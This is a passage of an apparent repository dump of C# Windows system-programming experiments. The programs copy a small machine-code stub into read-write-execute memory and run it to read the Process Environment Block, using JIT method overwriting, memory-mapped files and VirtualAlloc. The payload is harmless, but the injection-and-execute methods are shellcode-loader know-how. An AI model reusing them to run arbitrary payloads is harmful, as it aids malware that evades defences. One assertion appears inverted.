[MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\r\n        public byte[] Padding3;\r\n        public IntPtr LoaderLock;\r\n        public uint OSMajorVersion;\r\n        public uint OSMinorVersion;\r\n        public ushort OSBuildNumber;\r\n        public ushort OSCSDVersion;\r\n        public uint OSPlatformId;\r\n        public uint ImageSubsystem;\r\n        public uint ImageSubsystemMajorVersion;\r\n        public uint ImageSubsystemMinorVersion;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\r\n        public byte[] Padding4;\r\n        public ulong ActiveProcessAffinityMask;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 60)]\r\n        public uint[] GdiHandleBuffer;\r\n        public IntPtr PostProcessInitRoutine;\r\n        public IntPtr TlsExpansionBitmap;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 32)]\r\n        public uint[] TlsExpansionBitmapBits;\r\n        public uint SessionId;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\r\n        public byte[] Padding5;\r\n        public ulong AppCompatFlags;\r\n        public ulong AppCompatFlagsUser;\r\n        public IntPtr pShimData;\r\n        public IntPtr AppCompatInfo;\r\n        public UNICODE_STRING CSDVersion;\r\n        public IntPtr ActivationContextData;\r\n        public IntPtr ProcessAssemblyStorageMap;\r\n        public IntPtr SystemDefaultActivationContextData;\r\n        public IntPtr SystemAssemblyStorageMap;\r\n        public ulong MinimumStackCommit;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\r\n        public IntPtr[] SparePointers;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 6)]\r\n        public uint[] SpareUlongs;\r\n        public IntPtr WerRegistrationData;\r\n        public IntPtr WerShipAssertPtr;\r\n        public IntPtr pUnused;\r\n        public IntPtr pImageHeaderHash;\r\n        public uint TracingFlags;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\r\n        public byte[] Padding6;\r\n        public ulong CsrServerReadOnlySharedMemoryBase;\r\n        public ulong TppWorkerpListLock;\r\n        public LIST_ENTRY TppWorkerpList;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 128)]\r\n        public ulong[] WaitOnAddressHashTable;\r\n        public IntPtr TelemetryCoverageHeader;\r\n        public uint CloudFileFlags;\r\n        public uint CloudFileDiagFlags;\r\n        public byte PlaceholderCompatibilityMode;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 7)]\r\n        public byte[] PlaceholderCompatibilityModeReserved;\r\n        public IntPtr LeapSecondData;\r\n        public uint LeapSecondFlags;\r\n        public uint NtGlobalFlag2;\r\n    }\r\n}\r\n"
  },
  {
    "path": "Process/GetProcessEnvironmentBlock/GetProcessEnvironmentBlock.sln",
    "content": "﻿\r\nMicrosoft Visual Studio Solution File, Format Version 12.00\r\n# Visual Studio Version 16\r\nVisualStudioVersion = 16.0.30114.105\r\nMinimumVisualStudioVersion = 10.0.40219.1\r\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"GetProcessEnvironmentBlock\", \"GetProcessEnvironmentBlock\\GetProcessEnvironmentBlock.csproj\", \"{286BACF5-74CB-40F0-A1D2-EF443E07D0E0}\"\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tDebug|Any CPU = Debug|Any CPU\r\n\t\tRelease|Any CPU = Release|Any CPU\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{286BACF5-74CB-40F0-A1D2-EF443E07D0E0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\r\n\t\t{286BACF5-74CB-40F0-A1D2-EF443E07D0E0}.Debug|Any CPU.Build.0 = Debug|Any CPU\r\n\t\t{286BACF5-74CB-40F0-A1D2-EF443E07D0E0}.Release|Any CPU.ActiveCfg = Release|Any CPU\r\n\t\t{286BACF5-74CB-40F0-A1D2-EF443E07D0E0}.Release|Any CPU.Build.0 = Release|Any CPU\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\n\tGlobalSection(ExtensibilityGlobals) = postSolution\r\n\t\tSolutionGuid = {D5BAD6FA-F1FA-40C6-A9D7-0DAD2E1F60CC}\r\n\tEndGlobalSection\r\nEndGlobal\r\n"
  },
  {
    "path": "README.md",
    "content": "## Windows System Programming Experiments ##\n\n"
  },
  {
    "path": "RWX/JITCompilation/JITCompilation/JITCompilation.csproj",
    "content": "<Project Sdk=\"Microsoft.NET.Sdk\">\r\n\r\n  <PropertyGroup>\r\n    <OutputType>Exe</OutputType>\r\n    <TargetFramework>net5.0</TargetFramework>\r\n  </PropertyGroup>\r\n\r\n</Project>\r\n"
  },
  {
    "path": "RWX/JITCompilation/JITCompilation/Program.cs",
    "content": "﻿using System;\r\nusing System.Reflection;\r\nusing System.Diagnostics;\r\nusing System.Runtime.CompilerServices;\r\nusing System.Runtime.InteropServices;\r\n\r\n\r\nnamespace JITCompilation {\r\n        internal sealed class Program {\r\n\r\n        /// <summary>\r\n        /// Used for mutual-exclusion lock.\r\n        /// </summary>\r\n        private static object Mutex = new object();\r\n\r\n        /// <summary>\r\n        /// Delegate used to get the address of the PEB structure.\r\n        /// </summary>\r\n        /// <returns>Address of the PEB structure.</returns>\r\n        private delegate IntPtr GetPEBDelegate();\r\n\r\n        /// <summary>\r\n        /// Program entry point.\r\n        /// </summary>\r\n        /// <param name=\"args\">Command line arguments.</param>\r\n        static void Main(string[] args) {\r\n            // Find the method\r\n            MethodInfo method = typeof(JITCompilation.Program).GetMethod(nameof(JITCompilation.Program.Stub), BindingFlags.NonPublic | BindingFlags.Static);\r\n            Debug.Assert(method != null, \"[-] Can't find the method to JIT compile.\");\r\n\r\n            // JIT compile the method\r\n            IntPtr ManagedMethodPtr = method.MethodHandle.GetFunctionPointer();\r\n            if (Util.IsByteCallProcedure(ManagedMethodPtr)) {\r\n                RuntimeHelpers.PrepareMethod(method.MethodHandle);\r\n                Debug.Assert(Util.IsByteJmpProcedure(ManagedMethodPtr), \"[-] Error while JIT compiling the method.\");\r\n            }\r\n\r\n            // Get the address of the un-managed function\r\n            UInt64 offset = (UInt64)ManagedMethodPtr - (UInt64)Marshal.ReadInt32(ManagedMethodPtr, 1);\r\n            while (offset % 16 != 0)\r\n                offset++;\r\n            IntPtr UnmanagedMethodPtr = (IntPtr)offset;\r\n            Debug.Assert(UnmanagedMethodPtr != IntPtr.Zero, \"[-] Error while retrieving address of the un-managed method.\");\r\n\r\n            // Inject and execute the code\r\n            IntPtr PEBAddressPtr = IntPtr.Zero;\r\n            lock (Mutex) {\r\n                 Span<byte> asm = stackalloc byte[10] {\r\n                    0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00,  // MOV RAX, GS:[0x60]\r\n                    0xC3                                                   // RET\r\n                 };\r\n\r\n                Marshal.Copy(asm.ToArray(), 0, UnmanagedMethodPtr, asm.Length);\r\n                Debug.Assert(Marshal.ReadByte(UnmanagedMethodPtr, 0) == 0x65, \"[-] Error while overwriting un-managed method code.\");\r\n                Debug.Assert(Marshal.ReadByte(UnmanagedMethodPtr, 9) == 0xC3, \"[-] Error while overwriting un-managed method code.\");\r\n\r\n                GetPEBDelegate GetPEB = Marshal.GetDelegateForFunctionPointer<GetPEBDelegate>(UnmanagedMethodPtr);\r\n                PEBAddressPtr = GetPEB();\r\n                Debug.Assert(PEBAddressPtr != IntPtr.Zero, \"[-] Error while retrieving the address of the PEB structure.\");\r\n            };\r\n\r\n            // Pull the structure out of memory\r\n            PEB _PEB = Marshal.PtrToStructure<PEB>(PEBAddressPtr);\r\n            Debug.Assert(_PEB.Equals(default(PEB)), \"[-] Error while pulling out the structure from memory\");\r\n        }\r\n\r\n        /// <summary>\r\n        /// This method will be JIT Compiled to generate RWX memory region.\r\n        /// DO NOT USE.\r\n        /// </summary>\r\n        /// <returns>In this case the address of the PEB structure.</returns>\r\n        private static IntPtr Stub() {\r\n            throw new NotImplementedException();\r\n        }\r\n    }\r\n\r\n    internal sealed class Util {\r\n        /// <summary>\r\n        /// Check if the address points to a CALL instruction.\r\n        /// </summary>\r\n        /// <param name=\"pointer\">The address of an instruction.</param>\r\n        /// <returns>Whether the address points to a CALL instruction.</returns>\r\n        public static bool IsByteCallProcedure(IntPtr pointer) {\r\n            if (pointer == IntPtr.Zero)\r\n                return false;\r\n\r\n            byte opcode = Marshal.ReadByte(pointer);\r\n            switch (opcode) {\r\n                case 0x9A: // CALL far\r\n                case 0xE8: // CALL near\r\n                    return true;\r\n                default:\r\n                    return false;\r\n            }\r\n        }\r\n\r\n        /// <summary>\r\n        /// Check if the address points to a JMP instruction.\r\n        /// </summary>\r\n        /// <param name=\"pointer\">The address of an instruction.</param>\r\n        /// <returns>Whether the address points to a JMP instruction.</returns>\r\n        public static bool IsByteJmpProcedure(IntPtr pointer) {\r\n            if (pointer == IntPtr.Zero)\r\n                return false;\r\n\r\n            byte opcode = Marshal.ReadByte(pointer);\r\n            switch (opcode) {\r\n                case 0xE9: // JMP near\r\n                case 0xEA: // JMP far\r\n                case 0xEB: // JMP short\r\n                    return true;\r\n                default:\r\n                    return false;\r\n            }\r\n        }\r\n    }\r\n\r\n    [StructLayout(LayoutKind.Sequential, Pack = 1)]\r\n    internal struct UNICODE_STRING {\r\n        public ushort Length;\r\n        public ushort MaximumLength;\r\n        private IntPtr Buffer;\r\n    }\r\n\r\n    [StructLayout(LayoutKind.Sequential, Pack = 1)]\r\n    internal struct LIST_ENTRY {\r\n        public IntPtr Flink;\r\n        public IntPtr Blink;\r\n    }\r\n\r\n    [StructLayout(LayoutKind.Sequential, Pack = 1)]\r\n    internal struct PEB {\r\n        public byte InheritedAddressSpace;\r\n        public byte ReadImageFileExecOptions;\r\n        public byte BeingDebugged;\r\n        public byte BitField;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\r\n        public byte[] Padding0;\r\n        public IntPtr Mutant;\r\n        public IntPtr ImageBaseAddress;\r\n        public IntPtr Ldr;\r\n        public IntPtr ProcessParameters;\r\n        public IntPtr SubSystemData;\r\n        public IntPtr ProcessHeap;\r\n        public IntPtr FastPebLock;\r\n        public IntPtr AtlThunkSListPtr;\r\n        public IntPtr IFEOKey;\r\n        public uint CrossProcessFlags;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\r\n        public byte[] Padding1;\r\n        public IntPtr KernelCallbackTable;\r\n        public uint SystemReserved;\r\n        public uint AtlThunkSListPtr32;\r\n        public IntPtr ApiSetMap;\r\n        public uint TlsExpansionCounter;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\r\n        public byte[] Padding2;\r\n        public IntPtr TlsBitmap;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)]\r\n        public uint[] TlsBitmapBits;\r\n        public IntPtr ReadOnlySharedMemoryBase;\r\n        public IntPtr SharedData;\r\n        public IntPtr ReadOnlyStaticServerData;\r\n        public IntPtr AnsiCodePageData;\r\n        public IntPtr OemCodePageData;\r\n        public IntPtr UnicodeCaseTableData;\r\n        public uint NumberOfProcessors;\r\n        public uint NtGlobalFlag;\r\n        public ulong CriticalSectionTimeout;\r\n        public ulong HeapSegmentReserve;\r\n        public ulong HeapSegmentCommit;\r\n        public ulong HeapDeCommitTotalFreeThreshold;\r\n        public ulong HeapDeCommitFreeBlockThreshold;\r\n        public uint NumberOfHeaps;\r\n        public uint MaximumNumberOfHeaps;\r\n        public IntPtr ProcessHeaps;\r\n        public IntPtr GdiSharedHandleTable;\r\n        public IntPtr ProcessStarterHelper;\r\n        public uint GdiDCAttributeList;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\r\n        public byte[] Padding3;\r\n        public IntPtr LoaderLock;\r\n        public uint OSMajorVersion;\r\n        public uint OSMinorVersion;\r\n        public ushort OSBuildNumber;\r\n        public ushort OSCSDVersion;\r\n        public uint OSPlatformId;\r\n        public uint ImageSubsystem;\r\n        public uint ImageSubsystemMajorVersion;\r\n        public uint ImageSubsystemMinorVersion;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\r\n        public byte[] Padding4;\r\n        public ulong ActiveProcessAffinityMask;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 60)]\r\n        public uint[] GdiHandleBuffer;\r\n        public IntPtr PostProcessInitRoutine;\r\n        public IntPtr TlsExpansionBitmap;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 32)]\r\n        public uint[] TlsExpansionBitmapBits;\r\n        public uint SessionId;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\r\n        public byte[] Padding5;\r\n        public ulong AppCompatFlags;\r\n        public ulong AppCompatFlagsUser;\r\n        public IntPtr pShimData;\r\n        public IntPtr AppCompatInfo;\r\n        public UNICODE_STRING CSDVersion;\r\n        public IntPtr ActivationContextData;\r\n        public IntPtr ProcessAssemblyStorageMap;\r\n        public IntPtr SystemDefaultActivationContextData;\r\n        public IntPtr SystemAssemblyStorageMap;\r\n        public ulong MinimumStackCommit;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\r\n        public IntPtr[] SparePointers;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 6)]\r\n        public uint[] SpareUlongs;\r\n        public IntPtr WerRegistrationData;\r\n        public IntPtr WerShipAssertPtr;\r\n        public IntPtr pUnused;\r\n        public IntPtr pImageHeaderHash;\r\n        public uint TracingFlags;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\r\n        public byte[] Padding6;\r\n        public ulong CsrServerReadOnlySharedMemoryBase;\r\n        public ulong TppWorkerpListLock;\r\n        public LIST_ENTRY TppWorkerpList;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 128)]\r\n        public ulong[] WaitOnAddressHashTable;\r\n        public IntPtr TelemetryCoverageHeader;\r\n        public uint CloudFileFlags;\r\n        public uint CloudFileDiagFlags;\r\n        public byte PlaceholderCompatibilityMode;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 7)]\r\n        public byte[] PlaceholderCompatibilityModeReserved;\r\n        public IntPtr LeapSecondData;\r\n        public uint LeapSecondFlags;\r\n        public uint NtGlobalFlag2;\r\n    }\r\n}\r\n"
  },
  {
    "path": "RWX/JITCompilation/JITCompilation.sln",
    "content": "﻿\r\nMicrosoft Visual Studio Solution File, Format Version 12.00\r\n# Visual Studio Version 16\r\nVisualStudioVersion = 16.0.30128.36\r\nMinimumVisualStudioVersion = 10.0.40219.1\r\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"JITCompilation\", \"JITCompilation\\JITCompilation.csproj\", \"{3254121C-238B-4760-8693-CEE605432E7C}\"\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tDebug|Any CPU = Debug|Any CPU\r\n\t\tRelease|Any CPU = Release|Any CPU\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{3254121C-238B-4760-8693-CEE605432E7C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\r\n\t\t{3254121C-238B-4760-8693-CEE605432E7C}.Debug|Any CPU.Build.0 = Debug|Any CPU\r\n\t\t{3254121C-238B-4760-8693-CEE605432E7C}.Release|Any CPU.ActiveCfg = Release|Any CPU\r\n\t\t{3254121C-238B-4760-8693-CEE605432E7C}.Release|Any CPU.Build.0 = Release|Any CPU\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\n\tGlobalSection(ExtensibilityGlobals) = postSolution\r\n\t\tSolutionGuid = {CC70A5F2-9D05-4522-A82A-32FD74ABA51F}\r\n\tEndGlobalSection\r\nEndGlobal\r\n"
  },
  {
    "path": "RWX/MMF/MMF/MMF.csproj",
    "content": "<Project Sdk=\"Microsoft.NET.Sdk\">\r\n\r\n  <PropertyGroup>\r\n    <OutputType>Exe</OutputType>\r\n    <TargetFramework>net5.0</TargetFramework>\r\n  </PropertyGroup>\r\n\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|AnyCPU'\">\r\n    <AllowUnsafeBlocks>false</AllowUnsafeBlocks>\r\n  </PropertyGroup>\r\n\r\n</Project>\r\n"
  },
  {
    "path": "RWX/MMF/MMF/Program.cs",
    "content": "﻿using System;\r\nusing System.Diagnostics;\r\nusing System.IO.MemoryMappedFiles;\r\nusing System.Runtime.InteropServices;\r\n\r\nnamespace MMF {\r\n    internal sealed class Program {\r\n\r\n        /// <summary>\r\n        /// Used for mutual-exclusion lock. 7\r\n        /// </summary>\r\n        private static object Mutex { get; } = new object();\r\n\r\n        /// <summary>\r\n        /// Delegate used to get the address of the PEB structure.\r\n        /// </summary>\r\n        /// <returns>Address of the PEB structure.</returns>\r\n        private delegate IntPtr GetPEBDelegate();\r\n\r\n        /// <summary>\r\n        /// Program entry point.\r\n        /// </summary>\r\n        /// <param name=\"args\">Command line arguments.</param>\r\n        static void Main(string[] args) {\r\n            Span<byte> asm = stackalloc byte[10] {\r\n                0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00,  // MOV RAX, GS:[0x60]\r\n                0xC3                                                   // RET\r\n            };\r\n\r\n            IntPtr PEBAddressPtr = IntPtr.Zero;\r\n            lock (Mutex) {\r\n                using MemoryMappedFile MemoryMap = MemoryMappedFile.CreateNew(null, asm.Length, MemoryMappedFileAccess.ReadWriteExecute);\r\n                MemoryMappedViewAccessor MemoryMapAccessor = MemoryMap.CreateViewAccessor(0, asm.Length, MemoryMappedFileAccess.ReadWriteExecute);\r\n\r\n                // Get address of the memory region\r\n                IntPtr RWXRegionAddressPtr = MemoryMapAccessor.SafeMemoryMappedViewHandle.DangerousGetHandle();\r\n                Debug.Assert(RWXRegionAddressPtr != IntPtr.Zero, \"[-] Error while retrieving the address of the RWX memory region.\");\r\n\r\n                // Inject code\r\n                Marshal.Copy(asm.ToArray(), 0, RWXRegionAddressPtr, asm.Length);\r\n                Debug.Assert(Marshal.ReadByte(RWXRegionAddressPtr, 0) == 0x65, \"[-] Error while injecting code.\");\r\n                Debug.Assert(Marshal.ReadByte(RWXRegionAddressPtr, 9) == 0xC3, \"[-] Error while injecting code.\");\r\n\r\n                // Get delegate\r\n                GetPEBDelegate GetPEB = Marshal.GetDelegateForFunctionPointer<GetPEBDelegate>(RWXRegionAddressPtr);\r\n                PEBAddressPtr = GetPEB();\r\n                Debug.Assert(PEBAddressPtr != IntPtr.Zero, \"[-] Error while retrieving the address of the PEB structure.\");\r\n            }\r\n\r\n            // Pull the structure out of memory\r\n            PEB _PEB = Marshal.PtrToStructure<PEB>(PEBAddressPtr);\r\n            Debug.Assert(_PEB.Equals(default(PEB)), \"[-] Error while pulling out the structure from memory\");\r\n        }\r\n    }\r\n\r\n    [StructLayout(LayoutKind.Sequential, Pack = 1)]\r\n    internal struct UNICODE_STRING {\r\n        public ushort Length;\r\n        public ushort MaximumLength;\r\n        public IntPtr Buffer;\r\n    }\r\n\r\n    [StructLayout(LayoutKind.Sequential, Pack = 1)]\r\n    internal struct LIST_ENTRY {\r\n        public IntPtr Flink;\r\n        public IntPtr Blink;\r\n    }\r\n\r\n    [StructLayout(LayoutKind.Sequential, Pack = 1)]\r\n    internal struct PEB {\r\n        public byte InheritedAddressSpace;\r\n        public byte ReadImageFileExecOptions;\r\n        public byte BeingDebugged;\r\n        public byte BitField;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\r\n        public byte[] Padding0;\r\n        public IntPtr Mutant;\r\n        public IntPtr ImageBaseAddress;\r\n        public IntPtr Ldr;\r\n        public IntPtr ProcessParameters;\r\n        public IntPtr SubSystemData;\r\n        public IntPtr ProcessHeap;\r\n        public IntPtr FastPebLock;\r\n        public IntPtr AtlThunkSListPtr;\r\n        public IntPtr IFEOKey;\r\n        public uint CrossProcessFlags;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\r\n        public byte[] Padding1;\r\n        public IntPtr KernelCallbackTable;\r\n        public uint SystemReserved;\r\n        public uint AtlThunkSListPtr32;\r\n        public IntPtr ApiSetMap;\r\n        public uint TlsExpansionCounter;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\r\n        public byte[] Padding2;\r\n        public IntPtr TlsBitmap;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)]\r\n        public uint[] TlsBitmapBits;\r\n        public IntPtr ReadOnlySharedMemoryBase;\r\n        public IntPtr SharedData;\r\n        public IntPtr ReadOnlyStaticServerData;\r\n        public IntPtr AnsiCodePageData;\r\n        public IntPtr OemCodePageData;\r\n        public IntPtr UnicodeCaseTableData;\r\n        public uint NumberOfProcessors;\r\n        public uint NtGlobalFlag;\r\n        public ulong CriticalSectionTimeout;\r\n        public ulong HeapSegmentReserve;\r\n        public ulong HeapSegmentCommit;\r\n        public ulong HeapDeCommitTotalFreeThreshold;\r\n        public ulong HeapDeCommitFreeBlockThreshold;\r\n        public uint NumberOfHeaps;\r\n        public uint MaximumNumberOfHeaps;\r\n        public IntPtr ProcessHeaps;\r\n        public IntPtr GdiSharedHandleTable;\r\n        public IntPtr ProcessStarterHelper;\r\n        public uint GdiDCAttributeList;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\r\n        public byte[] Padding3;\r\n        public IntPtr LoaderLock;\r\n        public uint OSMajorVersion;\r\n        public uint OSMinorVersion;\r\n        public ushort OSBuildNumber;\r\n        public ushort OSCSDVersion;\r\n        public uint OSPlatformId;\r\n        public uint ImageSubsystem;\r\n        public uint ImageSubsystemMajorVersion;\r\n        public uint ImageSubsystemMinorVersion;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\r\n        public byte[] Padding4;\r\n        public ulong ActiveProcessAffinityMask;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 60)]\r\n        public uint[] GdiHandleBuffer;\r\n        public IntPtr PostProcessInitRoutine;\r\n        public IntPtr TlsExpansionBitmap;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 32)]\r\n        public uint[] TlsExpansionBitmapBits;\r\n        public uint SessionId;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\r\n        public byte[] Padding5;\r\n        public ulong AppCompatFlags;\r\n        public ulong AppCompatFlagsUser;\r\n        public IntPtr pShimData;\r\n        public IntPtr AppCompatInfo;\r\n        public UNICODE_STRING CSDVersion;\r\n        public IntPtr ActivationContextData;\r\n        public IntPtr ProcessAssemblyStorageMap;\r\n        public IntPtr SystemDefaultActivationContextData;\r\n        public IntPtr SystemAssemblyStorageMap;\r\n        public ulong MinimumStackCommit;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\r\n        public IntPtr[] SparePointers;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 6)]\r\n        public uint[] SpareUlongs;\r\n        public IntPtr WerRegistrationData;\r\n        public IntPtr WerShipAssertPtr;\r\n        public IntPtr pUnused;\r\n        public IntPtr pImageHeaderHash;\r\n        public uint TracingFlags;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\r\n        public byte[] Padding6;\r\n        public ulong CsrServerReadOnlySharedMemoryBase;\r\n        public ulong TppWorkerpListLock;\r\n        public LIST_ENTRY TppWorkerpList;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 128)]\r\n        public ulong[] WaitOnAddressHashTable;\r\n        public IntPtr TelemetryCoverageHeader;\r\n        public uint CloudFileFlags;\r\n        public uint CloudFileDiagFlags;\r\n        public byte PlaceholderCompatibilityMode;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 7)]\r\n        public byte[] PlaceholderCompatibilityModeReserved;\r\n        public IntPtr LeapSecondData;\r\n        public uint LeapSecondFlags;\r\n        public uint NtGlobalFlag2;\r\n    }\r\n}\r\n"
  },
  {
    "path": "RWX/MMF/MMF.sln",
    "content": "﻿\r\nMicrosoft Visual Studio Solution File, Format Version 12.00\r\n# Visual Studio Version 16\r\nVisualStudioVersion = 16.0.30128.36\r\nMinimumVisualStudioVersion = 10.0.40219.1\r\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"MMF\", \"MMF\\MMF.csproj\", \"{79870090-A133-4F99-8008-78EC172ABEB0}\"\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tDebug|Any CPU = Debug|Any CPU\r\n\t\tRelease|Any CPU = Release|Any CPU\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{79870090-A133-4F99-8008-78EC172ABEB0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\r\n\t\t{79870090-A133-4F99-8008-78EC172ABEB0}.Debug|Any CPU.Build.0 = Debug|Any CPU\r\n\t\t{79870090-A133-4F99-8008-78EC172ABEB0}.Release|Any CPU.ActiveCfg = Release|Any CPU\r\n\t\t{79870090-A133-4F99-8008-78EC172ABEB0}.Release|Any CPU.Build.0 = Release|Any CPU\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\n\tGlobalSection(ExtensibilityGlobals) = postSolution\r\n\t\tSolutionGuid = {78449DF1-30E9-4526-A035-BDF9EA54B441}\r\n\tEndGlobalSection\r\nEndGlobal\r\n"
  },
  {
    "path": "RWX/PInvoke/PInvoke/PInvoke.csproj",
    "content": "<Project Sdk=\"Microsoft.NET.Sdk\">\r\n\r\n  <PropertyGroup>\r\n    <OutputType>Exe</OutputType>\r\n    <TargetFramework>net5.0</TargetFramework>\r\n  </PropertyGroup>\r\n\r\n</Project>\r\n"
  },
  {
    "path": "RWX/PInvoke/PInvoke/Program.cs",
    "content": "﻿using System;\r\nusing System.Diagnostics;\r\nusing System.Runtime.InteropServices;\r\n\r\nnamespace PInvoke {\r\n    internal sealed class Program {\r\n        /// <summary>\r\n        /// Delegate used to get the address of the PEB structure.\r\n        /// </summary>\r\n        /// <returns>Address of the PEB structure.</returns>\r\n        private delegate IntPtr GetPEBDelegate();\r\n\r\n        /// <summary>\r\n        /// More information about the different flags here: https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc\r\n        /// </summary>\r\n        private static Int32 MEM_COMMIT { get; } = 0x00001000;\r\n        private static Int32 MEM_RESERVE { get; } = 0x00002000;\r\n        private static Int32 MEM_RESET { get; } = 0x00080000;\r\n        private static Int32 MEM_RESET_UNDO { get; } = 0x1000000;\r\n        private static Int32 MEM_LARGE_PAGES { get; } = 0x20000000;\r\n        private static Int32 MEM_PHYSICAL { get; } = 0x00400000;\r\n        private static Int32 MEM_TOP_DOWN { get; } = 0x00100000;\r\n        private static Int32 MEM_WRITE_WATCH { get; } = 0x00200000;\r\n\r\n        /// <summary>\r\n        /// More information about the different flags here: https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants\r\n        /// </summary>\r\n        private static Int32 PAGE_EXECUTE { get; } = 0x10;\r\n        private static Int32 PAGE_EXECUTE_READ { get; } = 0x20;\r\n        private static Int32 PAGE_EXECUTE_READWRITE { get; } = 0x40;\r\n        private static Int32 PAGE_EXECUTE_WRITECOPY { get; } = 0x80;\r\n        private static Int32 PAGE_NOACCESS { get; } = 0x01;\r\n        private static Int32 PAGE_READONLY { get; } = 0x02;\r\n        private static Int32 PAGE_READWRITE { get; } = 0x04;\r\n        private static Int32 PAGE_WRITECOPY { get; } = 0x08;\r\n        private static Int32 PAGE_TARGETS_INVALID { get; } = 0x40000000;\r\n        private static Int32 PAGE_TARGETS_NO_UPDATE { get; } = 0x40000000;\r\n        private static Int32 PAGE_GUARD { get; } = 0x100;\r\n        private static Int32 PAGE_NOCACHE { get; } = 0x200;\r\n        private static Int32 PAGE_WRITECOMBINE { get; } = 0x400;\r\n\r\n        /// <summary>\r\n        /// Reserves, commits, or changes the state of a region of pages in the virtual address space of the calling process.\r\n        /// Memory allocated by this function is automatically initialized to zero.\r\n        /// Link: https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc\r\n        /// </summary>\r\n        /// <param name=\"lpAddress\">The starting address of the region to allocate.</param>\r\n        /// <param name=\"dwSize\">The size of the region, in bytes.</param>\r\n        /// <param name=\"flAllocationType\">The type of memory allocation.</param>\r\n        /// <param name=\"flProtect\">The memory protection for the region of pages to be allocated.</param>\r\n        /// <returns></returns>\r\n        [DllImport(\"kernel32.dll\")]\r\n        private static extern IntPtr VirtualAlloc(\r\n            IntPtr lpAddress,\r\n            Int32  dwSize,\r\n            Int32  flAllocationType,\r\n            Int32  flProtect\r\n        );\r\n\r\n        /// <summary>\r\n        /// Changes the protection on a region of committed pages in the virtual address space of the calling process.\r\n        /// </summary>\r\n        /// <param name=\"lpAddress\">A pointer an address that describes the starting page of the region of pages whose access protection attributes are to be changed.</param>\r\n        /// <param name=\"dwSize\">The size of the region whose access protection attributes are to be changed, in bytes.</param>\r\n        /// <param name=\"flNewProtect\">The memory protection option.</param>\r\n        /// <param name=\"lpflOldProtect\">A pointer to a variable that receives the previous access protection value of the first page in the specified region of pages.</param>\r\n        /// <returns></returns>\r\n        [DllImport(\"kernel32.dll\")]\r\n        private static extern bool VirtualProtect(\r\n            IntPtr    lpAddress,\r\n            Int32     